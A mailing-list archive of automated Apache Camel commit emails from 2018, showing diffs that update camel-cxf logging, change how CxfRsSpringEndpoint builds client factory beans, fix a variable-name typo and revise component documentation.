[camel] branch master updated: Update the camel version of camel-as2 to 2.22.

2018-06-11 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new e17c3bf  Update the camel version of camel-as2 to 2.22.
e17c3bf is described below

commit e17c3bf6f0c92e6fc7ec5405ba4362d66dceed45
Author: Willem Jiang 
AuthorDate: Mon Jun 11 17:19:22 2018 +0800

Update the camel version of camel-as2 to 2.22.
---
 .../camel-as2/camel-as2-component/src/main/docs/as2-component.adoc| 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git 
a/components/camel-as2/camel-as2-component/src/main/docs/as2-component.adoc 
b/components/camel-as2/camel-as2-component/src/main/docs/as2-component.adoc
index 6869634..fed637e 100644
--- a/components/camel-as2/camel-as2-component/src/main/docs/as2-component.adoc
+++ b/components/camel-as2/camel-as2-component/src/main/docs/as2-component.adoc
@@ -1,7 +1,7 @@
 [[as2-component]]
 == AS2 Component
 
-*Available as of Camel version 2.20*
+*Available as of Camel version 2.22*
 
 [source,xml]
 
@@ -61,4 +61,4 @@ with the following path and query parameters:
 | *exchangePattern* (consumer) | Sets the exchange pattern when the consumer 
creates an exchange. |  | ExchangePattern
 | *synchronous* (advanced) | Sets whether synchronous processing should be 
strictly used, or Camel is allowed to use asynchronous processing (if 
supported). | false | boolean
 |===
-// endpoint options: END
\ No newline at end of file
+// endpoint options: END

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: CAMEL-12553 Using cxf new LoggingFeature

2018-06-01 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 18a110c  CAMEL-12553 Using cxf new LoggingFeature
18a110c is described below

commit 18a110cc4e78968b623564fe02484d54af7f906f
Author: Willem Jiang 
AuthorDate: Fri Jun 1 19:11:33 2018 +0800

CAMEL-12553 Using cxf new LoggingFeature
---
 components/camel-cxf/pom.xml  |  4 
 .../org/apache/camel/component/cxf/CxfEndpoint.java   | 19 ++-
 .../cxf/blueprint/RsClientBlueprintBean.java  | 13 -
 .../camel/component/cxf/jaxrs/CxfRsEndpoint.java  |  8 
 4 files changed, 22 insertions(+), 22 deletions(-)

diff --git a/components/camel-cxf/pom.xml b/components/camel-cxf/pom.xml
index e160c75..20bfee5 100644
--- a/components/camel-cxf/pom.xml
+++ b/components/camel-cxf/pom.xml
@@ -122,6 +122,10 @@
   org.apache.cxf
   cxf-rt-rs-client
 
+
+  org.apache.cxf
+  cxf-rt-features-logging
+
 
 
   org.springframework
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfEndpoint.java
index 372f672..81316be 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfEndpoint.java
@@ -88,8 +88,8 @@ import org.apache.cxf.databinding.source.SourceDataBinding;
 import org.apache.cxf.endpoint.Client;
 import org.apache.cxf.endpoint.ClientImpl;
 import org.apache.cxf.endpoint.Endpoint;
+import org.apache.cxf.ext.logging.LoggingFeature;
 import org.apache.cxf.feature.Feature;
-import org.apache.cxf.feature.LoggingFeature;
 import org.apache.cxf.frontend.ClientFactoryBean;
 import org.apache.cxf.frontend.ServerFactoryBean;
 import org.apache.cxf.headers.Header;
@@ -341,11 +341,11 @@ public class CxfEndpoint extends DefaultEndpoint 
implements AsyncEndpoint, Heade
 }
 
 if (isLoggingFeatureEnabled()) {
-if (getLoggingSizeLimit() != 0) {
-sfb.getFeatures().add(new 
LoggingFeature(getLoggingSizeLimit()));
-} else {
-sfb.getFeatures().add(new LoggingFeature());
+LoggingFeature loggingFeature = new LoggingFeature();
+if (getLoggingSizeLimit() > 0) {
+loggingFeature.setLimit(getLoggingSizeLimit());
 }
+sfb.getFeatures().add(loggingFeature);
 }
 
 if (getDataFormat() == DataFormat.PAYLOAD) {
@@ -530,11 +530,12 @@ public class CxfEndpoint extends DefaultEndpoint 
implements AsyncEndpoint, Heade
 }
 
 if (isLoggingFeatureEnabled()) {
-if (getLoggingSizeLimit() != 0) {
-factoryBean.getFeatures().add(new 
LoggingFeature(getLoggingSizeLimit()));
-} else {
-factoryBean.getFeatures().add(new LoggingFeature());
+LoggingFeature loggingFeature = new LoggingFeature();
+if (getLoggingSizeLimit() > 0) {
+loggingFeature.setLimit(getLoggingSizeLimit());
+
 }
+factoryBean.getFeatures().add(loggingFeature);
 }
 
 // set the document-literal wrapped style
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/blueprint/RsClientBlueprintBean.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/blueprint/RsClientBlueprintBean.java
index cdd45b5..bca343a 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/blueprint/RsClientBlueprintBean.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/blueprint/RsClientBlueprintBean.java
@@ -19,7 +19,7 @@ package org.apache.camel.component.cxf.blueprint;
 import java.util.HashMap;
 
 import org.apache.camel.component.cxf.NullFaultListener;
-import org.apache.cxf.feature.LoggingFeature;
+import org.apache.cxf.ext.logging.LoggingFeature;
 import org.apache.cxf.jaxrs.client.JAXRSClientFactoryBean;
 import org.apache.cxf.logging.FaultListener;
 import org.osgi.framework.BundleContext;
@@ -57,10 +57,9 @@ public class RsClientBlueprintBean extends 
JAXRSClientFactoryBean implements Blu
 loggingFeature = null;
 }
 if (loggingFeatureEnabled) {
+loggingFeature = new LoggingFeature();
 if (getLoggingSizeLimit() > 0) {
-loggingFeature = new LoggingFeature(getLoggingSizeLimit());
-} else {
-loggingFeature = new LoggingFeature();
+loggingFeature.setLimit(getLoggingSizeLimit());
 }
 getFeatures().add(loggingFeature);
 }
@@ -74,13 +73,9 @@ public class RsClientBlueprintBean extends 
JAXRSClientFa

[camel] branch camel-2.20.x updated: CAMEL-12541: Use configured bean instead of creating a new bean

2018-05-30 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.20.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.20.x by this push:
 new cc38f2a  CAMEL-12541: Use configured bean instead of creating a new 
bean
cc38f2a is described below

commit cc38f2a6b5358a399906296a40870e1619ea4637
Author: Willian Antunes 
AuthorDate: Sun May 27 13:20:53 2018 -0300

CAMEL-12541: Use configured bean instead of creating a new bean

When the endpoint is created the bean is always available and is used
for the consumer approach (newJAXRSServerFactoryBean). Now the same
behavior is used for producer approach (newJAXRSClientFactoryBean).

CAMEL-12541: In order to make CxfRsProducer cache works properly

CAMEL-12541: Test object reference and no need for version check anymore

Version check was removed as we already move to 2.6.x

CAMEL-12541 Fixed the build error
---
 .../component/cxf/jaxrs/CxfRsSpringEndpoint.java   | 16 +-
 .../cxf/jaxrs/CxfRsSpringEndpointTest.java | 61 +-
 .../cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml | 57 
 .../cxf/jaxrs/CxfRsSpringEndpointBeans.xml | 17 --
 4 files changed, 76 insertions(+), 75 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
index d10d6c5..94ebae2 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
@@ -25,6 +25,7 @@ import org.apache.cxf.jaxrs.AbstractJAXRSFactoryBean;
 import org.apache.cxf.jaxrs.JAXRSServerFactoryBean;
 import org.apache.cxf.jaxrs.client.JAXRSClientFactoryBean;
 import org.springframework.context.ApplicationContext;
+import org.springframework.util.ReflectionUtils;
 
 public class CxfRsSpringEndpoint extends CxfRsEndpoint implements BeanIdAware {
 private AbstractJAXRSFactoryBean bean;
@@ -69,7 +70,8 @@ public class CxfRsSpringEndpoint extends CxfRsEndpoint 
implements BeanIdAware {
 
 @Override
 protected JAXRSClientFactoryBean newJAXRSClientFactoryBean() {
-return new SpringJAXRSClientFactoryBean();
+checkBeanType(bean, JAXRSClientFactoryBean.class);
+return newInstanceWithCommonProperties();
 }
 
 @Override
@@ -86,4 +88,14 @@ public class CxfRsSpringEndpoint extends CxfRsEndpoint 
implements BeanIdAware {
 public void setBeanId(String id) {
 this.beanId = id;
 }
-}
+
+private JAXRSClientFactoryBean newInstanceWithCommonProperties() {
+SpringJAXRSClientFactoryBean cfb = new SpringJAXRSClientFactoryBean();
+
+if (bean instanceof SpringJAXRSClientFactoryBean) {
+ReflectionUtils.shallowCopyFieldState(bean, cfb);
+}
+
+return cfb;
+}
+}
\ No newline at end of file
diff --git 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
index b5a4354..55bbc25 100644
--- 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
+++ 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
@@ -22,18 +22,24 @@ import 
org.apache.camel.component.cxf.jaxrs.testbean.CustomerService;
 import org.apache.camel.component.cxf.spring.SpringJAXRSClientFactoryBean;
 import org.apache.camel.component.cxf.spring.SpringJAXRSServerFactoryBean;
 import org.apache.camel.test.spring.CamelSpringTestSupport;
-import org.apache.cxf.version.Version;
 import org.junit.Test;
+import org.springframework.beans.factory.support.BeanDefinitionBuilder;
+import org.springframework.beans.factory.support.DefaultListableBeanFactory;
 import org.springframework.context.support.AbstractXmlApplicationContext;
 import org.springframework.context.support.ClassPathXmlApplicationContext;
 
 public class CxfRsSpringEndpointTest extends CamelSpringTestSupport {
-
+
+private static final String BEAN_SERVICE_ENDPOINT_NAME = "serviceEndpoint";
+private static final String BEAN_SERVICE_ADDRESS = 
"http://localhost/programmatically;;
+private static final String BEAN_SERVICE_USERNAME = 
"BEAN_SERVICE_USERNAME";
+private static final String BEAN_SERVICE_PASSWORD = 
"BEAN_SERVICE_PASSWORD";
+
 @Test
 public void testCreateCxfRsServerFactoryBean() {
 CxfRsEndpoint endpoint = 
resolveMandatoryEndpoint("cxfrs://bean://rsServer", CxfRsEndpoint.class);
 SpringJAXRSServerFac

[camel] branch master updated: Correct typo

2018-05-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 75f7cca  Correct typo
75f7cca is described below

commit 75f7cca0fb4172c0407b41bd67a2a9bc0820c8fb
Author: Felix Schumacher 
AuthorDate: Mon May 28 21:01:43 2018 +0200

Correct typo
---
 .../java/org/apache/camel/component/cxf/CxfProducer.java | 12 ++--
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfProducer.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfProducer.java
index eef9047..58e58e7 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfProducer.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfProducer.java
@@ -287,15 +287,15 @@ public class CxfProducer extends DefaultProducer 
implements AsyncProcessor {
 boi = boi.getUnwrappedOperation();
 }
 }
-int experctMessagePartsSize = boi.getInput().getMessageParts().size();
+int expectMessagePartsSize = boi.getInput().getMessageParts().size();
 
-if (parameters.length < experctMessagePartsSize) {
+if (parameters.length < expectMessagePartsSize) {
 throw new IllegalArgumentException("Get the wrong parameter size 
to invoke the out service, Expect size "
-   + experctMessagePartsSize + ", 
Parameter size " + parameters.length
+   + expectMessagePartsSize + ", 
Parameter size " + parameters.length
+ ". Please check if the 
message body matches the CXFEndpoint POJO Dataformat request.");
 }
 
-if (parameters.length > experctMessagePartsSize) {
+if (parameters.length > expectMessagePartsSize) {
 // need to check the holder parameters
 int holdersSize = 0;
 for (Object parameter : parameters) {
@@ -313,9 +313,9 @@ public class CxfProducer extends DefaultProducer implements 
AsyncProcessor {
 }
 }
   
-if (holdersSize + experctMessagePartsSize + soapHeadersSize < 
parameters.length) {
+if (holdersSize + expectMessagePartsSize + soapHeadersSize < 
parameters.length) {
 throw new IllegalArgumentException("Get the wrong parameter 
size to invoke the out service, Expect size "
-   + (experctMessagePartsSize 
+ holdersSize + soapHeadersSize) + ", Parameter size " + parameters.length
+   + (expectMessagePartsSize + 
holdersSize + soapHeadersSize) + ", Parameter size " + parameters.length
+ ". Please check if the 
message body matches the CXFEndpoint POJO Dataformat request.");
 }
 }

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated (edaa076 -> 574f39c)

2018-05-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git.


from edaa076  Upgrade Batik to version 1.10
 new c798d64  CAMEL-12541: Use configured bean instead of creating a new
 new c12137f  CAMEL-12541: In order to make CxfRsProducer cache works 
properly
 new 574f39c  CAMEL-12541: Test object reference and no need for version 
check anymore

The 3 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 .../component/cxf/jaxrs/CxfRsSpringEndpoint.java   | 16 +-
 .../cxf/jaxrs/CxfRsSpringEndpointTest.java | 53 +---
 .../cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml | 57 --
 .../cxf/jaxrs/CxfRsSpringEndpointBeans.xml | 17 +--
 4 files changed, 72 insertions(+), 71 deletions(-)
 delete mode 100644 
components/camel-cxf/src/test/resources/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] 01/03: CAMEL-12541: Use configured bean instead of creating a new

2018-05-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit c798d642603479ebfaead918ca64af32a9a932c5
Author: Willian Antunes <willian.lima.antu...@gmail.com>
AuthorDate: Sun May 27 13:20:53 2018 -0300

CAMEL-12541: Use configured bean instead of creating a new

When the endpoint is created the bean is always available and is used
for the consumer approach (newJAXRSServerFactoryBean). Now the same
behavior is used for producer approach (newJAXRSClientFactoryBean).
---
 .../component/cxf/jaxrs/CxfRsSpringEndpoint.java   |  3 +-
 .../cxf/jaxrs/CxfRsSpringEndpointTest.java | 51 --
 2 files changed, 50 insertions(+), 4 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
index 954d984..bd51da1 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
@@ -69,7 +69,8 @@ public class CxfRsSpringEndpoint extends CxfRsEndpoint 
implements BeanIdAware {
 
 @Override
 protected JAXRSClientFactoryBean newJAXRSClientFactoryBean() {
-return new SpringJAXRSClientFactoryBean();
+checkBeanType(bean, JAXRSClientFactoryBean.class);
+return (JAXRSClientFactoryBean)bean;
 }
 
 @Override
diff --git 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
index 977d7dc..08ed017 100644
--- 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
+++ 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
@@ -24,11 +24,18 @@ import 
org.apache.camel.component.cxf.spring.SpringJAXRSServerFactoryBean;
 import org.apache.camel.test.spring.CamelSpringTestSupport;
 import org.apache.cxf.version.Version;
 import org.junit.Test;
+import org.springframework.beans.factory.support.BeanDefinitionBuilder;
+import org.springframework.beans.factory.support.DefaultListableBeanFactory;
 import org.springframework.context.support.AbstractXmlApplicationContext;
 import org.springframework.context.support.ClassPathXmlApplicationContext;
 
 public class CxfRsSpringEndpointTest extends CamelSpringTestSupport {
 
+private static final String BEAN_SERVICE_ENDPOINT_NAME = "serviceEndpoint";
+private static final String BEAN_SERVICE_ADDRESS = 
"http://localhost/programmatically;;
+private static final String BEAN_SERVICE_USERNAME = 
"BEAN_SERVICE_USERNAME";
+private static final String BEAN_SERVICE_PASSWORD = 
"BEAN_SERVICE_PASSWORD";
+
 @Test
 public void testCreateCxfRsServerFactoryBean() {
 CxfRsEndpoint endpoint = 
resolveMandatoryEndpoint("cxfrs://bean://rsServer", CxfRsEndpoint.class);
@@ -62,13 +69,51 @@ public class CxfRsSpringEndpointTest extends 
CamelSpringTestSupport {
 
 }
 
+@Test
+public void testCreateCxfRsClientFactoryBeanProgrammatically() {
+
+CxfRsEndpoint endpoint = resolveMandatoryEndpoint("cxfrs://bean://" + 
BEAN_SERVICE_ENDPOINT_NAME, CxfRsEndpoint.class);
+SpringJAXRSClientFactoryBean cfb = 
(SpringJAXRSClientFactoryBean)endpoint.createJAXRSClientFactoryBean();
+
+assertEquals("Got the wrong address", BEAN_SERVICE_ADDRESS, 
cfb.getAddress());
+assertNotNull("Service class must not be null", cfb.getServiceClass());
+assertEquals("Got the wrong ServiceClass", CustomerService.class, 
cfb.getServiceClass());
+assertEquals("Got the wrong username", BEAN_SERVICE_USERNAME, 
cfb.getUsername());
+assertEquals("Got the wrong password", BEAN_SERVICE_PASSWORD, 
cfb.getPassword());
+}
+
+public static SpringJAXRSClientFactoryBean serviceEndpoint() {
+
+SpringJAXRSClientFactoryBean clientFactoryBean = new 
SpringJAXRSClientFactoryBean();
+clientFactoryBean.setAddress(BEAN_SERVICE_ADDRESS);
+clientFactoryBean.setServiceClass(CustomerService.class);
+clientFactoryBean.setUsername(BEAN_SERVICE_USERNAME);
+clientFactoryBean.setPassword(BEAN_SERVICE_PASSWORD);
+
+return clientFactoryBean;
+}
+
 @Override
 protected AbstractXmlApplicationContext createApplicationContext() {
 String version = Version.getCurrentVersion();
+
+ClassPathXmlApplicationContext applicationContext = null;
+
 if (version.startsWith("2") &&

[camel] 03/03: CAMEL-12541: Test object reference and no need for version check anymore

2018-05-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit 574f39c491ea5afa490119b9de4deffd87296046
Author: Willian Antunes <willian.lima.antu...@gmail.com>
AuthorDate: Mon May 28 09:01:51 2018 -0300

CAMEL-12541: Test object reference and no need for version check anymore

Version check was removed as we already move to 2.6.x
---
 .../cxf/jaxrs/CxfRsSpringEndpointTest.java | 16 ++
 .../cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml | 57 --
 .../cxf/jaxrs/CxfRsSpringEndpointBeans.xml | 17 +--
 3 files changed, 17 insertions(+), 73 deletions(-)

diff --git 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
index 08ed017..5e1c109 100644
--- 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
+++ 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointTest.java
@@ -22,7 +22,6 @@ import 
org.apache.camel.component.cxf.jaxrs.testbean.CustomerService;
 import org.apache.camel.component.cxf.spring.SpringJAXRSClientFactoryBean;
 import org.apache.camel.component.cxf.spring.SpringJAXRSServerFactoryBean;
 import org.apache.camel.test.spring.CamelSpringTestSupport;
-import org.apache.cxf.version.Version;
 import org.junit.Test;
 import org.springframework.beans.factory.support.BeanDefinitionBuilder;
 import org.springframework.beans.factory.support.DefaultListableBeanFactory;
@@ -75,11 +74,12 @@ public class CxfRsSpringEndpointTest extends 
CamelSpringTestSupport {
 CxfRsEndpoint endpoint = resolveMandatoryEndpoint("cxfrs://bean://" + 
BEAN_SERVICE_ENDPOINT_NAME, CxfRsEndpoint.class);
 SpringJAXRSClientFactoryBean cfb = 
(SpringJAXRSClientFactoryBean)endpoint.createJAXRSClientFactoryBean();
 
+assertNotSame("Got the same object but must be different", 
super.applicationContext.getBean(BEAN_SERVICE_ENDPOINT_NAME), cfb);
 assertEquals("Got the wrong address", BEAN_SERVICE_ADDRESS, 
cfb.getAddress());
 assertNotNull("Service class must not be null", cfb.getServiceClass());
 assertEquals("Got the wrong ServiceClass", CustomerService.class, 
cfb.getServiceClass());
 assertEquals("Got the wrong username", BEAN_SERVICE_USERNAME, 
cfb.getUsername());
-assertEquals("Got the wrong password", BEAN_SERVICE_PASSWORD, 
cfb.getPassword());
+assertEquals("Got the wrong password", BEAN_SERVICE_PASSWORD, 
cfb.getPassword());
 }
 
 public static SpringJAXRSClientFactoryBean serviceEndpoint() {
@@ -94,17 +94,9 @@ public class CxfRsSpringEndpointTest extends 
CamelSpringTestSupport {
 }
 
 @Override
-protected AbstractXmlApplicationContext createApplicationContext() {
-String version = Version.getCurrentVersion();
-
-ClassPathXmlApplicationContext applicationContext = null;
-
-if (version.startsWith("2") && (version.contains("2.5") || 
version.contains("2.4"))) {
-applicationContext = new ClassPathXmlApplicationContext(new 
String("org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointBeans.xml"));
-} else {
-applicationContext = new ClassPathXmlApplicationContext(new 
String("org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml"));

-}
+protected AbstractXmlApplicationContext createApplicationContext() {  
 
+ClassPathXmlApplicationContext applicationContext = new 
ClassPathXmlApplicationContext(new 
String("org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointBeans.xml"));   
 
 emulateBeanRegistrationProgrammatically(applicationContext);
 
 return applicationContext;
diff --git 
a/components/camel-cxf/src/test/resources/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml
 
b/components/camel-cxf/src/test/resources/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml
deleted file mode 100644
index 8b0ca34..000
--- 
a/components/camel-cxf/src/test/resources/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpointBeans-2.6.xml
+++ /dev/null
@@ -1,57 +0,0 @@
-
-
-http://www.springframework.org/schema/beans;
-   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance;
-   xmlns:cxf="http://camel.apache.org/schema/cxf;
-   xsi:schemaLocation="
-   http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd
-   http://camel.apache.org/schema/cxf 
http://camel.apache

[camel] 02/03: CAMEL-12541: In order to make CxfRsProducer cache works properly

2018-05-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit c12137f10418390ad94030742fee10d9c0aea8e7
Author: Willian Antunes <willian.lima.antu...@gmail.com>
AuthorDate: Sun May 27 16:43:08 2018 -0300

CAMEL-12541: In order to make CxfRsProducer cache works properly
---
 .../camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java| 15 +--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
index bd51da1..46b235a 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
@@ -25,6 +25,7 @@ import org.apache.cxf.jaxrs.AbstractJAXRSFactoryBean;
 import org.apache.cxf.jaxrs.JAXRSServerFactoryBean;
 import org.apache.cxf.jaxrs.client.JAXRSClientFactoryBean;
 import org.springframework.context.ApplicationContext;
+import org.springframework.util.ReflectionUtils;
 
 public class CxfRsSpringEndpoint extends CxfRsEndpoint implements BeanIdAware {
 private AbstractJAXRSFactoryBean bean;
@@ -70,7 +71,7 @@ public class CxfRsSpringEndpoint extends CxfRsEndpoint 
implements BeanIdAware {
 @Override
 protected JAXRSClientFactoryBean newJAXRSClientFactoryBean() {
 checkBeanType(bean, JAXRSClientFactoryBean.class);
-return (JAXRSClientFactoryBean)bean;
+return newInstanceWithCommonProperties();
 }
 
 @Override
@@ -89,4 +90,14 @@ public class CxfRsSpringEndpoint extends CxfRsEndpoint 
implements BeanIdAware {
 public void setBeanId(String id) {
 this.beanId = id;
 }
-}
+
+private JAXRSClientFactoryBean newInstanceWithCommonProperties() {
+SpringJAXRSClientFactoryBean cfb = new SpringJAXRSClientFactoryBean();
+
+if (bean instanceof SpringJAXRSClientFactoryBean) {
+ReflectionUtils.shallowCopyFieldState(bean, cfb);
+}
+
+return cfb;
+}
+}
\ No newline at end of file

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: Updated the code snipet for camel-cxfrs component

2018-05-27 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 39c0d63  Updated the code snipet for camel-cxfrs component
39c0d63 is described below

commit 39c0d63d923bfe9236834ecb1c4470bb7e9e7eaa
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Sun May 27 15:23:11 2018 +0800

Updated the code snipet for camel-cxfrs component
---
 .../camel-cxf/src/main/docs/cxfrs-component.adoc   | 143 ++---
 1 file changed, 128 insertions(+), 15 deletions(-)

diff --git a/components/camel-cxf/src/main/docs/cxfrs-component.adoc 
b/components/camel-cxf/src/main/docs/cxfrs-component.adoc
index 31af57c..1307bde 100644
--- a/components/camel-cxf/src/main/docs/cxfrs-component.adoc
+++ b/components/camel-cxf/src/main/docs/cxfrs-component.adoc
@@ -244,21 +244,21 @@ Given a JAX-RS resource class with this method:
 
 [source,java]
 

-@POST @Path("/customers/{type}")
-public Response newCustomer(Customer customer, @PathParam("type") String 
type, @QueryParam("active") @DefaultValue("true") boolean active) {
-return null;
-}
+@POST @Path("/customers/{type}")
+public Response newCustomer(Customer customer, @PathParam("type") String type, 
@QueryParam("active") @DefaultValue("true") boolean active) {
+return null;
+}
 

 
 Serviced by the following route:
 
 [source,java]
 

-from("cxfrs:bean:rsServer?bindingStyle=SimpleConsumer")
-.recipientList(simple("direct:${header.operationName}"));
+from("cxfrs:bean:rsServer?bindingStyle=SimpleConsumer")
+.recipientList(simple("direct:${header.operationName}"));
 
-from("direct:newCustomer")
-.log("Request: type=${header.type}, active=${header.active}, 
customerData=${body}");
+from("direct:newCustomer")
+.log("Request: type=${header.type}, active=${header.active}, 
customerData=${body}");
 

 
 The following HTTP request with XML payload (given that the Customer DTO
@@ -294,7 +294,7 @@ implements the https://javaee.github.io/jsr311/[JAX-RS 
(JSR-311) API], so we can
 export the resources classes as a REST service. And we leverage the
 http://cxf.apache.org/docs/invokers.html[CXF Invoker
 API] to turn a REST request into a normal Java object method
-invocation. +
+invocation.
  Unlike the <<restlet-component,Camel Restlet>> component, you don't need
 to specify the URI template within your endpoint, CXF takes care of the
 REST request URI to resource class method mapping according to the
@@ -302,6 +302,39 @@ JSR-311 specification. All you need to do in Camel is 
delegate this
 method request to a right processor or endpoint.
 
 Here is an example of a CXFRS route...
+[source,java]
+
+private static final String CXF_RS_ENDPOINT_URI =
+"cxfrs://http://localhost:; + CXT + 
"/rest?resourceClasses=org.apache.camel.component.cxf.jaxrs.testbean.CustomerServiceResource";
+private static final String CXF_RS_ENDPOINT_URI2 =
+"cxfrs://http://localhost:; + CXT + 
"/rest2?resourceClasses=org.apache.camel.component.cxf.jaxrs.testbean.CustomerService";
+private static final String CXF_RS_ENDPOINT_URI3 =
+"cxfrs://http://localhost:; + CXT + "/rest3?"
++ 
"resourceClasses=org.apache.camel.component.cxf.jaxrs.testbean.CustomerServiceNoAnnotations&"
++ 
"modelRef=classpath:/org/apache/camel/component/cxf/jaxrs/CustomerServiceModel.xml";
+private static final String CXF_RS_ENDPOINT_URI4 =
+"cxfrs://http://localhost:; + CXT + "/rest4?"
++ 
"modelRef=classpath:/org/apache/camel/component/cxf/jaxrs/CustomerServiceDefaultHandlerModel.xml";
+private static final String CXF_RS_ENDPOINT_URI5 =
+"cxfrs://http://localhost:; + CXT + "/rest5?"
++ "propagateContexts=true&"
++ 
"modelRef=classpath:/org/apache/camel/component/cxf/jaxrs/CustomerServiceDefaultHandlerModel.xml";
+protected RouteBuilder createRouteBuilder() throws Exception {
+final Processor testProcessor = new TestProcessor();
+final Processor testProcessor2 = new TestProcessor2();
